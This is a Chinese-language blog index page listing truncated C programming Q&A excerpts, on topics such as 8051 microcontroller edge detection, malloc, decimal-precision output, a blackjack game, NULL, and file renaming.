    求51单片机的上升沿和下降沿C语言检测程序列子,端口就是普通IO口。 上升沿触发是当信号有上升沿时的开关动作,当电位由低变高而触发输出变化的就叫上升沿触发。也就是当测到的信号电位是从低到高也就是上升时就触发,叫做上升沿触发。 单片机怎么计算1s内下降沿的个数的C语言程序或者计算两个下降沿的时间(检测脉冲频率)计算1s内下降沿的个数方法是,一个定时器设置定时1…

    2024年5月23日
    4400
  • c语言mallloc使用的简单介绍

    C语言中使用malloc必须加#includemallo.h? 1、在C语言中使用malloc函数进行动态内存分配。malloc的全称是memory allocation,中文叫动态内存分配。原型:extern void malloc(unsigned int num_bytes);功能:分配长度为num_bytes字节的内存块。 2、你可以看一下C语言那本…

    2024年5月23日
    4400
  • c语言三位小数,C语言三位小数

    怎样用C++语言输出精确到小数点后三位的数? 1、用C++语言输出精确到小数点后三位的数,可以参考下面给出的代码:coutsetiosflags(ios:fixed)setprecision(3)。其中 setiosflags中set是设置的意思。ios是iostream的缩写,即输入输出流。flags是标志的意思。 2、要精确到小数点后若干位,则数据类型为…

    2024年5月23日
    7200
  • c语言21点游戏,二十一点游戏代码c语言

    如何使用C语言编写简单小游戏? 1、数学知识:长方形的面积S=a*b 长方形周长L=2*(a+b)其中a b分别为长方形的宽和高。算法分析:长方形面积及周长均依赖于宽和高,所以先要输入宽高值,然后根据公式计算,输出结果即可。 2、/*也不知道你是什么级别的,我是一个新手,刚接触编程语言,以下是我自己变得一个小程序,在所有c语言的编译器(vc++0、turbo…

    2024年5月23日
    6300
  • c语言当中的null,C语言当中的符号

    C/C++中,NULL和null的区别是什么? nul 和 null要看编译器,不同的编译器有所区别。 所以C或者C++中都使用一个特殊定义NULL表示无效值,其本质就是未定义具体数据类型的0值。 null是是什么都没有的意思。在java中表示空对象。 本意是“空的;元素只有零的”意思。计算机中通常表示空值,无结果,或是空集合。\x0d\x0a在ASCII码…

    2024年5月23日
    4500
  • 包含c语言对txt文件命名的词条

    如何在C语言编程里面修改源文件名字 如果你是在WINDOWS的话,简单了,随便用个编辑器,比如记事本,然后写c源程序,保存到你想要保存的位置。如果你在DOS下,可以用edit,写好以后,按alt键,选择文件菜单,然后保存。 用open打开文件,注意操作模式使用“修改”或者“添加” 用write或者fprintf向文件中写入你的内容。 用close关闭文件。 …

    2024年5月23日
    4800

发表回复

登录后才能评论



关注微信